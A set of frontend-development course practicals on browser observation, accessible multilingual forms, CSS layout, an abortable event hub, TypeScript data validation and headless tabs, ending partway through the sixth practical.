Frontend Playground

• 1: Browser Observation and Measured Virtualization
• 2: Accessible Multilingual Interface and Composite Controls
• 3: Intrinsic, Container-Aware Dashboard
• 4: Abortable Event Hub and Asynchronous Control
• 5: Runtime-Validated Data Boundary and Typed Event Hub
• 6: Compound Headless Tabs and Component State Boundaries
• 7: Reactive Dependency Graph and State Derivation
• 8: URL-Driven State Architecture and Form Boundaries
• 9: Cached Server-State Client with Optimistic Mutations
• 10: Offline Outbox and Resilient Synchronization
• 11: Rendering Topology Comparison: CSR, SSR, and Static Delivery
• 12: Inspect a Modern Front-End Toolchain and Module Graph
• 13: Security Boundary Review: XSS, CORS, and Authentication Boundaries
• 14: Design-System Package Governance and Ownership Mapping
• 15: Measure, Diagnose, and Optimize Core Web Vitals
• 16: Resilient UI Integration Suite
• 17: Delivery, Observability, and Rollback Loop
• 18: Make and Defend an Architecture Decision

1 - Browser Observation and Measured Virtualization

Practical 01 - Browser Observation and Measured Virtualization

Related: Chapter 1 · Lecture slides

Objective

Explain how one small page loads and responds using evidence from browser tools. Predict what will happen, change one variable, and connect the result to resource discovery, parsing, scheduling, or rendering. The core exercise does not require a framework, TypeScript, or a virtual list.

Prerequisites and setup

You need basic HTML, CSS, JavaScript, and a browser with developer tools. Use a local static HTTP server you already know; if Python is installed, python -m http.server 8000 from the exercise folder is sufficient. Visit http://localhost:8000/ rather than opening the HTML through file:. Module loading needs a suitable served context.

Create this folder as your own exercise project:

chapter-01-runtime/
├── index.html
├── styles.css
├── legacy.js
├── app.js
└── hero.webp

Copy the chapter’s full running-example HTML into index.html. Supply an image you may use, adjust its alternative text and dimensions, and make sure the URL returns successfully. Add simple styles for the page and list; start list items with a width other than 300px. Keep the page free of service workers and third-party code.

Initially, legacy.js should only log whether the heading exists. In app.js, use a deferred script to connect the button and update the status. Replace those implementations as each stage requests; do not accumulate every experiment in one file.

Record the browser/version, viewport, cache setting, and network/CPU throttling. Disable the HTTP cache for the first discovery comparisons where the tool allows it, and keep DevTools open if that setting depends on it. Repeat important comparisons at least three times under the same conditions. Keep debugger pauses out of timing captures.

Stage 1 - Trace discovery

Load the unmodified page and record the document, stylesheet, both scripts, and image in Network. Inspect the initiator and start time of each request. Do not assume that request order equals execution order.

Next, remove the image from the HTML and create it in a timer callback after a requested two-second delay. Keep its URL and content unchanged. Ensure no preload, CSS reference, or second image reveals that URL earlier.

Verify: the markup version can discover the image directly; the script version depends on the callback assigning src. Capture a waterfall or timing table for both runs. The delay is not an exact scheduling guarantee. If the result is obscured by caching or another reference, identify that cause and repeat the comparison.

Stage 2 - Separate script readiness from document readiness

Temporarily remove the extra blocking script and use one external probe script in the head. Test it as classic, defer, async, and module, one declaration per run. Keep the probe free of imports and top-level await for this comparison.

Log its execution time, document.readyState, and whether h1 exists. Register separate DOMContentLoaded and window load listeners in an inline script placed before the probe so their registration does not depend on the probe’s mode.

Then restore the original stylesheet-plus-classic-script combination. If the browser provides local response throttling or overrides, delay the stylesheet and investigate whether it holds up script execution. Treat this last comparison as optional when the tooling cannot isolate the delay.

Verify: the classic head script runs before the later heading is parsed; deferred and default-module probes can access it. Async timing may vary. An async script observed after parsing in every trial still has no general after-parsing guarantee. Explain the distinction between downloading, executing, finding a DOM node, and presenting pixels.

Stage 3 - Predict callback order and inspect a slow interaction

First run this code as a single script:

console.log("one");
setTimeout(() => console.log("two"), 0);
queueMicrotask(() => console.log("three"));
Promise.resolve().then(() => console.log("four"));
console.log("five");

Write your prediction before running it. Then explain the observed one, five, three, four, two order using synchronous execution, microtask enqueue order, and a later timer task.

Next use the chapter’s bounded 200 ms slow click handler in app.js. Record a performance trace while activating the button once. Observe whether the intermediate “Working…” value is presented and locate the handler’s execution. Run the bounded microtask-chain example separately if you want to compare its order with a timer.

Verify: identify the callback order and the approximate interval occupied by the slow handler. Explain why a DOM change need not be painted before the next statement, and why neither a Promise nor async automatically moves computation off the main thread. A trace need not expose every compositor event to support those observations.

Stage 4 - Compare rendering work

Create a few hundred noninteractive list items containing ordinary text. Record a width change, restore the initial state, and record a transform. These produce different visual effects; compare work categories rather than declaring one an equivalent faster implementation.

Now compare the chapter’s interleaved write/read loop with its batched alternative. Reset all rows to the same starting width before each run. Keep row count, viewport, and recording conditions unchanged, and exclude setup/reset work from the measured interval where possible.

Verify: report JavaScript, style, layout, and paint work where the profiler exposes it. State whether repeated layout was visible and whether batching changed it. If the difference is too small or the trace too coarse to interpret, report that limit. Do not infer universal speed, a fixed frame rate, or zero layout from one run.

What to submit

For each core comparison, include one row in this evidence table:

Also include the setup conditions and a diagram connecting discovery, parsing, scripts, DOM, style/layout, presentation, and later input. Distinguish required dependencies from timing that may vary. Explain one observation that differed from your initial expectation.

Completion means you can justify the explanation from your evidence - not that every trace matches the chapter’s conceptual diagrams.

When an experiment gives an unexpected result

• No new image request: check the cache indication, URL, earlier references, and whether the delayed callback ran.
• Module does not execute: check Console and Network for path, MIME-type, or serving problems.
• Every async run looks ordered: vary resource timing if possible; observations do not create an execution-order guarantee.
• No visible “Working…” state: that is compatible with the handler preventing an intermediate presentation, not proof the assignment failed.
• No layout difference: verify that the initial width differs from the target, rows exist, and setup was excluded. Keep a null result if the evidence does not justify a stronger claim.

Optional extension - A fixed-height virtual list

After completing the observation work, compare a full list with a version that renders a visible window plus a small buffer. Use fixed-height rows first. Document the dataset, viewport, row count in the DOM, and how scroll position maps to the rendered range.

Check the first and last items, resizing, fast scrolling, and preservation of item order and scroll extent. If rows become interactive, explain what happens when a focused row would leave the rendered range. Evaluate keyboard use and the information available to assistive technologies; rendering fewer nodes alone does not prove accessibility or a performance improvement.

Measure before and after using the same interaction and conditions. Keep this extension optional even if the full list is already fast. Continue with Chapter 15 and Practical 15 for deeper profiling. Variable-height measurement, ResizeObserver, and scroll anchoring belong to a later extension because they introduce additional geometry and state-management problems.

2 - Accessible Multilingual Interface and Composite Controls

Practical 02 - Accessible Multilingual Interface and Composite Controls

Related: Chapter 2 · Lecture slides

Objective

Build a resilient, fully accessible public-service portal that demonstrates the platform relationship between semantic HTML, the accessibility tree, internationalization, and live DOM event handling.

You will establish a native selection baseline first using standard HTML controls, prove that the interface is completely operable via keyboard with explicit labeling and validation, handle mixed English and Kurdish/Arabic directional text, and implement delegated DOM events. As an optional extension, you will implement an accessible composite widget (a custom multi-select listbox) with roving tabindex.

Prerequisites and setup

You need basic HTML, CSS, JavaScript, and a browser with developer and accessibility inspection tools (e.g. Chrome/Firefox Accessibility Tree inspection panel). Serve the exercise locally using any local static HTTP server (e.g., python -m http.server 8000 or npx serve .):

Create this folder structure:

chapter-02-semantics/
├── index.html
├── styles.css
└── app.js

Ensure your stylesheet includes a distinct, high-contrast :focus-visible outline. Keep third-party UI libraries or CSS frameworks out of the project; all behaviors and styles must be native.

Stage 1 - Establish semantic landmarks and native selection baseline

Construct the core portal page containing:

• A <header> with site title and a <nav aria-label="Primary"> containing navigation links.
• A single <main> landmark with a logical heading structure (<h1> $\rightarrow$ <h2>).
• A service request form using native interactive controls:
  • A native <select id="service-type" name="service" required> dropdown with options for different certificate requests.
  • A <fieldset> with a <legend> containing radio buttons for submission urgency (Standard vs Express).
  • A <button type="submit"> element.
• A recent-requests <table> with a <caption>, explicit header scopes (<th scope="col"> and <th scope="row">), and sample rows.
• A <footer> containing organizational metadata.

Verify: Disable CSS in your browser. Verify that the document outline, landmarks, form controls, and table data remain immediately understandable and navigable.

Stage 2 - Programmatic labeling, keyboard operability, and error association

Enhance the form with comprehensive accessibility associations:

• Ensure every control has an explicit <label for="..."> matching the input’s id.
• Add a multiline <textarea id="notes" name="notes" required> for applicant statements.
• Configure explicit error association: add a dedicated <p id="notes-error" role="alert" hidden></p> element.
• Connect the error container to the input via aria-describedby="notes-error notes-hint".
• In app.js, intercept form submission. If the textarea is empty, mark aria-invalid="true", populate the error text, unhide the container, and programmatically move focus to the invalid field.

Verify: Navigate the entire page using only the Tab, Shift+Tab, Space, and Enter keys. Confirm that:

1. Every control receives a visible focus indicator.
2. No interactive element requires a mouse to activate.
3. Form validation errors are programmatically announced by screen-reader tools when triggered.

Stage 3 - Multilingual content, directionality, and event delegation

Introduce internationalization and live DOM manipulation:

• Declare the primary document language on <html> (lang="en" dir="ltr").
• On the notes field, configure dir="auto" so citizen statements written in Central Kurdish (ckb) or Arabic (ar) automatically align right-to-left.
• In the recent requests table, render multilingual rows. Use <bdi> to isolate user-submitted RTL statements so they do not scramble adjacent reference codes or punctuation.
• In app.js, implement a dynamic row addition feature upon form submission. Use safe DOM methods (document.createElement, textContent, append) rather than raw innerHTML.
• Add an action button (<button type="button" data-action="cancel">) to each table row. Instead of attaching a listener to every button, attach one listener to the <tbody> element and use event.target.closest('button[data-action="cancel"]') to handle cancellations via event bubbling.
• Expose dynamic updates to assistive devices using a live region (role="status" and aria-live="polite").

Verify: Add an entry containing Arabic or Kurdish text alongside English IDs. Confirm that text direction is properly isolated and that clicking dynamic buttons triggers the delegated handler correctly.

Stage 4 (Optional Extension) - Composite multi-select listbox

Only after completing Stages 1–3, evaluate whether a custom widget is justified. Build an enhanced multi-select listbox:

1. Create a container with role="listbox", aria-multiselectable="true", and aria-label="Available services".
2. Inside, render child options with role="option" and aria-selected="false".
3. Implement roving tabindex:
   • The currently focused option has tabindex="0"; all other options have tabindex="-1".
   • Pressing DownArrow or UpArrow moves focus and updates tabindex="0" to the next or previous option without scrolling the page.
   • Home moves focus to the first option; End moves to the last option.
   • Space toggles the selection state (aria-selected="true|false").
4. Preserve the native <select multiple> as a fallback.

Verify: Inspect the accessibility tree in DevTools. Verify that the custom listbox exposes correct roles, options, and selection states, and that navigating via Tab treats the listbox as a single tab stop.

What to submit

Document your implementation by submitting the completed project files (index.html, styles.css, app.js) and filling out this verification table:

When an experiment gives an unexpected result

• No focus ring visible: Verify that your CSS does not contain outline: none without a matching :focus-visible declaration.
• Screen reader does not announce validation error: Check that the error container has role="alert" or aria-live="assertive", and that aria-describedby matches the error element’s exact id.
• RTL text scrambles adjacent numbers: Confirm that the user string is wrapped inside <bdi> or has dir="auto".
• Delegated click listener does not fire: Check whether event.target.closest(...) selector matches the button, and ensure the event is allowed to bubble (i.e. stopPropagation() was not called on a child element).

3 - Intrinsic, Container-Aware Dashboard

Practical 03 - Intrinsic, Container-Aware Dashboard

Related: Chapter 3 · Lecture slides

Objective

Build a resilient, responsive executive dashboard that demonstrates CSS as an architectural system. You will implement an explicit cascade layer stack, establish a 3-tier design token hierarchy, construct an adaptive 2D Grid shell with Subgrid card alignment, and implement container queries that allow components to adapt to their immediate container space rather than relying exclusively on viewport media queries.

Finally, you will verify that the interface seamlessly supports bidirectional internationalization (ltr $\leftrightarrow$ rtl), accommodates extreme text variations without overflow, and functions reliably under 200% browser zoom without JavaScript resize listeners.

Prerequisites and setup

You need an HTML editor, a modern browser with Developer Tools (supporting CSS Grid, Subgrid, and Container Queries), and a local HTTP server.

Create your project workspace:

chapter-03-dashboard/
├── index.html
└── styles.css

Do not install CSS frameworks (such as Tailwind or Bootstrap) or JavaScript layout libraries. All layout, adaptation, and layer boundaries must be constructed using native CSS.

Stage 1 - Architectural cascade layers and 3-tier design tokens

Establish a predictable precedence hierarchy and design token system in styles.css:

1. Declare your cascade layer stack at the very top of the stylesheet:

   @layer reset, tokens, base, layout, components, utilities;

2. In @layer tokens, construct a 3-tier token hierarchy using CSS custom properties:
   • Tier 1 (Raw Foundation): Primitive color palettes, spacing units, and radius values (e.g. --blue-600: #005a9c;, --space-4: 1rem;).
   • Tier 2 (Semantic Context): Meaning-based tokens mapped to raw values (e.g. --color-primary: var(--blue-600);, --color-surface: #ffffff;, --space-card-padding: var(--space-4);).
   • Tier 3 (Component-Scoped): Component-specific parameters that can be overridden locally (e.g. --card-border-color: var(--color-border);).
3. Add dark-mode theme adaptation via prefers-color-scheme: dark by updating semantic tokens at the :root level.
4. In @layer reset, apply universal box-sizing: border-box, remove default margins, and ensure media elements have max-inline-size: 100%.

Verify: Inspect the styles in browser DevTools. Confirm that layers are recognized in the Styles pane and that modifying a single semantic token (such as --color-primary) updates all consuming components across the interface.

Stage 2 - 2D Grid layout and card alignment with Subgrid

Build the page architecture and product catalog in index.html:

1. Structure the layout shell using CSS Grid with named areas:
   • header spanning the top row.
   • sidebar on the inline-start side (minmax(14rem, 18rem)).
   • main occupying remaining space (1fr).
   • At small viewport widths (under 48rem), collapse the grid into a single vertical column.
2. In the main catalog section, construct a responsive card grid using auto-placement:

   .card-grid {
     display: grid;
     grid-template-columns: repeat(auto-fit, minmax(min(100%, 16rem), 1fr));
     grid-auto-rows: auto 1fr auto;
     gap: var(--space-md);
   }

3. Populate three sample cards with intentionally unequal content:
   • Card 1: Single-line title, one-sentence description.
   • Card 2: Three-line title, four-sentence detailed description.
   • Card 3: Two-line title, two-sentence description.
4. Apply Subgrid to each card (grid-row: span 3; grid-template-rows: subgrid;) so that card titles share Row 1, descriptions share Row 2, and action buttons snap to Row 3 along a shared horizontal baseline.

Verify: Inspect the cards visually and with DevTools Grid overlay. Confirm that despite varying description lengths, all card action buttons remain strictly aligned across each grid row without hardcoded element heights.

Stage 3 - Container queries and fluid sizing

Make components context-aware rather than screen-aware:

1. Configure the sidebar container as a queryable container:

   .app-sidebar {
     container-type: inline-size;
     container-name: sidebar-context;
   }

2. Build a summary metric card (.stat-card). Place one instance of this card inside the main content area and a second instance inside the narrow sidebar.
3. Use a container query to adapt the card’s layout:
   • When container width is under 260px, render the metric and label in a stacked vertical layout with compact typography.
   • When container width exceeds 260px, render the metric and label horizontally with expanded spacing.
4. Replace rigid heading font sizes with fluid typography using clamp():

   h1 {
     font-size: clamp(1.5rem, 1.2rem + 1.5vw, 2.5rem);
   }

Verify: Resize the browser window and drag the sidebar boundary. Confirm that the card in the sidebar switches layout based on the sidebar’s width, while the card in the main area remains in its expanded layout.

Stage 4 - Logical properties, bidirectional layout, and stress testing

Ensure internationalization resilience and edge-case durability:

1. Audit styles.css to verify that no physical coordinates (margin-left, padding-right, left, right) are used. Replace all instances with logical equivalents (margin-inline-start, padding-inline-end, inset-inline-start).
2. Add a language/direction toggle button (or manually set <html lang="ckb" dir="rtl">):
   • Confirm that the sidebar automatically flips to the right side.
   • Confirm that navigation links, card padding, and button icons flip orientation without writing a single [dir="rtl"] override rule.
3. Stress Tests:
   • Unbroken String: Insert a 45-character unbroken alphanumeric reference code (e.g. DOC-REQ-7894239847293847293847293847298374928374) into a card title. Verify that overflow-wrap: break-word; prevents horizontal layout blow-out.
   • Browser Zoom: Zoom the browser viewport to 200%. Verify that navigation and cards stack gracefully without overlapping text or clipping content.

What to submit

Submit your index.html and styles.css along with a completed verification report:

When an experiment gives an unexpected result

• Subgrid does not align children: Ensure the parent grid has explicit rows (e.g. grid-auto-rows: auto 1fr auto;) and that each child card declares grid-row: span 3; grid-template-rows: subgrid;.
• Container query does not fire: Check that container-type: inline-size; is applied to an ancestor container of the component, and that the query references the correct container name.
• Component overflows its grid column: Ensure that grid tracks use minmax(min(100%, 16rem), 1fr) or that child containers have min-inline-size: 0; to prevent min-content blowout.
• RTL layout fails to mirror margins: Check whether legacy physical properties (margin-left or margin-right) were accidentally used instead of margin-inline-start and margin-inline-end.

4 - Abortable Event Hub and Asynchronous Control

Practical 04 - Abortable Event Hub and Asynchronous Control

Related: Chapter 4 · Lecture slides

Objective

Build a framework-agnostic, publish-subscribe event hub in modern JavaScript that manages decoupled communication across application modules.

You will implement private state encapsulation using closures, support single-operation listener teardown using AbortSignal, isolate listener errors so that a failure in one subscriber cannot prevent others from executing, and eliminate race conditions in asynchronous requests.

Prerequisite Notice: This laboratory is implemented entirely in pure modern JavaScript (ES Modules). To maintain dependency order, compile-time TypeScript contracts for event names and payload shapes will be introduced as an optional extension in Chapter 5.

Prerequisites and setup

You need a modern browser with Developer Tools or a current Node.js runtime supporting ES Modules (Node 18+).

Create your exercise workspace:

chapter-04-event-hub/
├── event-hub.js
├── search-service.js
├── app.js
└── index.html

Do not import third-party event libraries (such as EventEmitter or RxJS). All subscription mechanics, signal handling, and scheduling must be constructed from platform primitives.

Stage 1 - Core publish-subscribe engine with closure encapsulation

In event-hub.js, implement a factory function createEventHub() that uses closures to maintain private subscriber state:

1. Maintain an internal Map<string, Set<Function>> mapping event names to sets of subscriber callbacks. Do not expose this map directly on the returned object.
2. Implement the core subscription and dispatch methods:
   • on(event, listener): Adds a listener to the set. Returns a parameterless unsubscribe() function that removes the listener.
   • off(event, listener): Explicitly removes a listener from the specified event.
   • emit(event, payload): Iterates over a copy of the active subscriber set and invokes each listener with payload.
3. Ensure that calling unsubscribe() multiple times or calling off() with an unregistered listener fails gracefully without throwing.

Verify: Write a test script in app.js subscribing three distinct listeners to a service:selected event. Emit the event with an ID payload, verify all three receive the payload, unsubscribe the second listener, emit again, and confirm only the remaining two listeners execute.

Stage 2 - Cooperative cancellation and teardown with AbortSignal

Extend on() to support standard web platform cancellation options:

hub.on('service:updated', onUpdate, { signal: controller.signal, once: true });

1. The once Option: If once: true is passed, wrap the listener so it automatically unregisters itself immediately upon its first execution before invoking the user callback.
2. The signal Option: If an AbortSignal is supplied:
   • If the signal is already aborted (signal.aborted === true), return immediately without registering the listener.
   • Otherwise, attach an abort event listener to the signal that automatically cleans up and removes the subscription when signal.abort() is triggered.
   • Ensure that if the subscription is manually removed via unsubscribe() or once, the internal abort listener on the signal is also removed to prevent memory leaks.

Verify: Create an AbortController. Register three different subscriptions (e.g. for window resize, modal status, and data sync) passing { signal: controller.signal }. Call controller.abort(). Emit events on all channels and confirm that none of the aborted listeners execute.

Stage 3 - Listener error isolation and microtask dispatch

In standard synchronous event dispatching, if listener 1 throws an unhandled error, execution halts immediately, and listeners 2 and 3 never receive the event.

Harden emit() against subscriber exceptions:

1. Wrap individual listener invocations in a try...catch boundary:

   for (const listener of subscribers) {
     try {
       listener(payload);
     } catch (err) {
       // Route unhandled error to platform diagnostic channel without breaking loop
       if (typeof window !== 'undefined' && window.reportError) {
         window.reportError(err);
       } else {
         console.error(`[EventHub] Unhandled error in listener for "${event}":`, err);
       }
     }
   }

2. Implement an asynchronous variant emitAsync(event, payload) that dispatches subscriber notifications as microtasks (queueMicrotask or Promise.resolve().then()) to prevent long listener tasks from blocking the caller.

Verify: Register three listeners for data:mutation. Configure the second listener to deliberately throw new Error("Database write failed"). Emit the event. Verify that Listener 1 and Listener 3 execute successfully and that the error from Listener 2 is logged to the diagnostic console.

Stage 4 - Live search integration and race-condition elimination

In search-service.js and app.js, build a live citizen service search component using your event hub:

1. Maintain an active AbortController in module scope.
2. When the user types into an input field:
   • Debounce input events by 300ms using a closure-based debounce utility.
   • If a previous network request is active, invoke activeController.abort().
   • Create a new AbortController and pass its signal to fetch('/api/services?q=...').
   • When the request starts, emit search:start on the hub.
   • If the fetch resolves with valid data, emit search:success with the results.
   • If the fetch throws AbortError, emit search:aborted and do not touch the UI.
   • If the fetch throws any other error, emit search:error.
3. In app.js, subscribe UI renderers to search:success and status banners to search:start/search:error.

Verify: Simulate a slow request (800ms) for "res" followed immediately by a fast request (150ms) for "residence". Verify that:

1. The "res" request is aborted cleanly via AbortController.
2. The UI never displays stale "res" results.
3. The event hub logs the cancellation as expected control flow without throwing unhandled exceptions.

What to submit

Submit your implementation files (event-hub.js, search-service.js, app.js) and a completed verification report:

When an experiment gives an unexpected result

• Aborted listener still runs: Ensure signal.addEventListener('abort', ...) is correctly bound and that the cleanup function removes the exact reference from the Set.
• Memory leak warning with signals: If an event hub subscription is removed manually before signal.abort() is called, ensure you also call signal.removeEventListener('abort', cleanup) to release the signal reference.
• fetch() does not cancel: Confirm that you are passing { signal: controller.signal } in the options object of fetch(url, options), and that your mock server or test environment supports AbortSignal.
• Listeners execute in unexpected order: In JavaScript, Set preserves insertion order. Modifying or re-registering listeners can alter invocation sequence.

5 - Runtime-Validated Data Boundary and Typed Event Hub

Practical 05 - Runtime-Validated Data Boundary and Typed Event Hub

Related: Chapter 5 · Lecture slides

Objective

Build a resilient API trust boundary in TypeScript that ingests unknown external data, enforces runtime validation before types are asserted, transforms verified input into trusted domain records, and surfaces user-friendly diagnostics when contracts fail.

You will test your boundary against a rigorous matrix of valid, malformed, incomplete, and unexpected payloads. Furthermore, you will connect this laboratory to Chapter 4 by upgrading the pure JavaScript event hub with compile-time generic event maps.

Prerequisites and setup

You need Node.js (v18+) and the TypeScript compiler (tsc).

Create your exercise workspace:

chapter-05-boundary/
├── src/
│   ├── types.ts
│   ├── boundary.ts
│   ├── event-hub.ts
│   └── app.ts
├── index.html
├── package.json
└── tsconfig.json

Ensure your tsconfig.json enforces full strictness:

{
  "compilerOptions": {
    "target": "ES2022",
    "module": "ESNext",
    "moduleResolution": "bundler",
    "strict": true,
    "noImplicitAny": true,
    "strictNullChecks": true,
    "noUncheckedIndexedAccess": true,
    "skipLibCheck": true
  },
  "include": ["src/**/*"]
}

Do not use as SomeType type assertions to bypass validation. Every domain record must be proven at runtime before it can enter application state.

Stage 1 - Model domain records and discriminated results

In src/types.ts, define your domain models using discriminated unions:

export type Result<T, E = BoundaryError> =
  | { readonly ok: true; readonly data: T }
  | { readonly ok: false; readonly error: E };

export interface ServiceRecord {
  readonly id: string;
  readonly name: string;
  readonly feeIqd: number;
  readonly isAvailable: boolean;
  readonly department: 'Civil' | 'Housing' | 'Legal';
}

export class BoundaryError extends Error {
  constructor(
    public readonly kind: 'transport' | 'schema',
    message: string,
    public readonly issues?: readonly string[]
  ) {
    super(message);
    this.name = 'BoundaryError';
  }
}

Stage 2 - Implement the runtime parser and test matrix

In src/boundary.ts, implement a validation parser parseServiceRecord(raw: unknown): Result<ServiceRecord, BoundaryError>. You may implement this with explicit property checks or with a schema parsing library (such as Zod).

Execute the parser against a four-case test matrix:

1. Valid Case:

   { "id": "SR-1042", "name": "Residence Certificate", "feeIqd": 25000, "isAvailable": true, "department": "Civil" }

   Expected: Returns { ok: true, data: ServiceRecord }.
2. Malformed Case:

   { "id": "SR-1042", "name": "Residence Certificate", "feeIqd": "twenty-five thousand", "isAvailable": "yes", "department": "Civil" }

   Expected: Fails schema validation with specific messages indicating feeIqd must be a number and isAvailable must be a boolean.
3. Incomplete Case:

   { "id": "SR-1042", "department": "Civil" }

   Expected: Fails schema validation reporting missing required fields (name, feeIqd, isAvailable).
4. Unexpected Backend Case:

   { "status": "error", "code": 503, "message": "Database cluster failover in progress" }

   Expected: Correctly identified as an incompatible schema without crashing with a TypeError.

Verify: Run tsc --noEmit. Verify that result.data is completely inaccessible on { ok: false } branches, and that narrowing on result.ok permits safe access to all domain fields.

Stage 3 - Distinguish transport failures from schema failures and surface to UI

In src/app.ts, coordinate network fetching, validation, and DOM updates:

1. Differentiate network disconnects and HTTP 500 errors (kind: 'transport') from schema decoding errors (kind: 'schema').
2. Surface appropriate feedback to the user:
   • Transport Errors: Inform the user: “Network connection unavailable. Please check your connection and retry.”
   • Schema Errors: Inform the user: “Service record received in an unrecognized format. Our technical team has been alerted.” Log detailed structural issues to the console without exposing sensitive internals to the user interface.

Verify: Trigger each error condition in the browser UI. Verify that error messages are rendered inside an accessible container (role="alert" or aria-live="polite").

Stage 4 (Chapter 4 Extension) - Strongly typed event hub

Extend the publish-subscribe event hub from Practical 04 with a compile-time generic contract:

export interface CitizenEventMap {
  'search:start': { query: string; timestamp: number };
  'search:success': { query: string; results: readonly ServiceRecord[] };
  'search:error': { query: string; error: BoundaryError };
  'service:selected': { serviceId: string };
}

export function createTypedEventHub<Events extends Record<string, unknown>>() {
  const subscribers = new Map<keyof Events, Set<(payload: any) => void>>();

  return {
    on<K extends keyof Events>(
      event: K,
      listener: (payload: Events[K]) => void,
      options?: { signal?: AbortSignal; once?: boolean }
    ): () => void {
      // Manage subscription and AbortSignal cleanup...
    },

    emit<K extends keyof Events>(event: K, payload: Events[K]): void {
      // Isolate listener execution and dispatch...
    }
  };
}

Verify: In src/app.ts, instantiate createTypedEventHub<CitizenEventMap>().

1. Verify that hub.emit('search:start', { query: 'res', timestamp: Date.now() }) compiles cleanly.
2. Verify that hub.emit('invalid:channel', {}) fails compilation with an invalid event name error.
3. Verify that hub.emit('search:start', { query: 123 }) fails compilation due to mismatched payload shape.

What to submit

Submit your TypeScript source files (src/types.ts, src/boundary.ts, src/event-hub.ts, src/app.ts) and a completed verification report:

When an experiment gives an unexpected result

• TypeScript permits reading invalid properties: Ensure you did not cast the fetch result as any or use as ServiceRecord. Input must remain unknown until narrowed.
• BoundaryError instanceof check fails: When compiling TypeScript to older targets (ES5), subclassing Error can break prototype chains. Ensure "target": "ES2022" is configured in tsconfig.json.
• Optional properties become undefined: Remember that noUncheckedIndexedAccess: true requires checking whether array items or dynamic dictionary keys are defined before accessing their properties.

6 - Compound Headless Tabs and Component State Boundaries

Practical 06 - Compound Headless Tabs and Component State Boundaries

Related: Chapter 6 · Lecture slides

Objective

Build a resilient, headless compound tabs system that decouples interaction state machine logic, keyboard navigation, and WAI-ARIA semantics from presentation and styling.

You will implement:

1. A compound component hierarchy (Tabs, TabsList, Tab, TabPanel) sharing state without prop drilling.
2. A dual controlled and uncontrolled state contract that prevents ambiguous state ownership.
3. A robust WAI-ARIA accessible keyboard contract featuring roving tabindex, automatic/manual activation modes, and bidirectional panel associations.
4. Independent verification confirming that consumer styling can change freely without breaking behavioral guarantees.

Prerequisites and Workspace Setup

You need Node.js (v18+) and a modern front-end build environment (such as Vite with TypeScript and React or Vue 3).

Initialize your practical workspace:

chapter-06-compound-tabs/
├── src/
│   ├── types.ts             # Compound interfaces, props, and accessibility types
│   ├── tabs-context.ts      # Context (React) or Provide/Inject (Vue) definition
│   ├── use-tabs-state.ts    # Headless state machine managing selection & focus
│   ├── components/
│   │   ├── Tabs.tsx         # Compound root and state coordinator
│   │   ├── TabsList.tsx     # Tab container with role="tablist"
│   │   ├── Tab.tsx          # Tab trigger with roving tabindex & ARIA attributes
│   │   └── TabPanel.tsx     # Associated content container with role="tabpanel"
│   ├── app.tsx              # Demonstration consumer showcasing custom styling
│   └── tabs.test.ts         # Automated behavioral tests
├── index.html
├── package.json
└── tsconfig.json

Ensure your TypeScript configuration enforces strict type checks ("strict": true).

Stage 1 - Decompose Compound Responsibilities

Deconstruct the tabs widget into four distinct component boundaries. Each component must own a single, cohesive responsibility:

flowchart TD
    Root["Tabs (Root Coordinator)\n• Owns/receives selection state\n• Holds orientation & activation mode\n• Exposes shared Context"]
    
    List["TabsList (Navigation Container)\n• Renders role='tablist'\n• Sets aria-orientation\n• Scopes keyboard arrow events"]
    
    TabBtn["Tab (Interactive Trigger)\n• Renders role='tab'\n• Manages roving tabIndex (0 or -1)\n• Binds aria-selected & aria-controls\n• Handles focus & selection triggers"]
    
    Panel["TabPanel (Content Region)\n• Renders role='tabpanel'\n• Binds aria-labelledby to Tab ID\n• Controls visibility (hidden when inactive)"]

    Root --> List
    Root --> Panel
    List --> TabBtn

Component Contract Definitions

In src/types.ts, define your public contracts:

export type TabOrientation = 'horizontal' | 'vertical';
export type TabActivationMode = 'automatic' | 'manual';

export interface TabsRootProps {
  readonly value?: string;
  readonly defaultValue?: string;
  readonly onValueChange?: (value: string) => void;
  readonly orientation?: TabOrientation;
  readonly activationMode?: TabActivationMode;
  readonly children: React.ReactNode;
}

export interface TabsContextValue {
  readonly selectedValue: string;
  readonly orientation: TabOrientation;
  readonly activationMode: TabActivationMode;
  readonly registerTab: (id: string, value: string, disabled: boolean) => void;
  readonly unregisterTab: (value: string) => void;
  readonly selectTab: (value: string) => void;
  readonly getPanelId: (value: string) => string;
  readonly getTabId: (value: string) => string;
}

Stage 2 - Controlled vs. Uncontrolled State Machine

A component must never exist in an ambiguous half-controlled state. Implement a unified state hook useTabsState that honors the state ownership contract:

• Uncontrolled Mode: If props.value is undefined, internal state is initialized to props.defaultValue (or the first registered tab) and managed locally.
• Controlled Mode: If props.value is defined, the component derives its active selection strictly from props.value. When user interactions trigger a selection, the component delegates the update via props.onValueChange(newValue).

// src/use-tabs-state.ts
import { useState, useCallback } from 'react';

export function useTabsState(
  controlledValue?: string,
  defaultValue?: string,
  onValueChange?: (value: string) => void
) {
  const isControlled = controlledValue !== undefined;
  const [internalValue, setInternalValue] = useState<string>(defaultValue ?? '');

  const currentValue = isControlled ? controlledValue : internalValue;

  const selectTab = useCallback((newValue: string) => {
    if (!isControlled) {
      setInternalValue(newValue);
    }
    onValueChange?.(newValue);
  }, [isControlled, onValueChange]);

  return { selectedValue: currentValue, selectTab, isControlled };
}

Verify that passing both value and defaultValue does not trigger uncontrolled state overwrites, and that controlled updates propagate without lag or double-render cycles.

Stage 3 - Implement the WAI-ARIA and Keyboard Contract

The WAI-ARIA Tabs pattern requires strict accessibility attributes and precise keyboard behavior.

1. ARIA Relationship Wiring

For every tab and panel pair, establish explicit cross-linking IDs:

• The Tab element must render id={tab-${value}} and aria-controls={panel-${value}}.
• The TabPanel element must render id={panel-${value}} and aria-labelledby={tab-${value}}.
• When active, the Tab sets aria-selected="true". Inactive tabs set aria-selected="false".
• Inactive TabPanel containers must have the HTML hidden attribute applied.

2. Roving tabindex Focus Management

Tabs must not all be focusable with the Tab key:

• The currently selected tab has tabIndex={0}.
• All unselected tabs have tabIndex={-1}.
• When a keyboard user presses Tab, focus lands only on the active tab. Pressing Tab again moves focus completely out of the tablist (into the active panel or the next document control).

3. Arrow Key Navigation

Implement keyboard handling in TabsList:

• Horizontal Orientation: ArrowRight focuses the next enabled tab; ArrowLeft focuses the previous enabled tab.
• Vertical Orientation: ArrowDown focuses the next enabled tab; ArrowUp focuses the previous enabled tab.
• Navigation Extremes: Home focuses the first tab; End focuses the last tab.
• Wrapping: Moving past the end wraps focus to the beginning (and vice versa).
• Activation Mode:
  • In automatic mode, focusing a tab via Arrow keys immediately selects it and displays its panel.
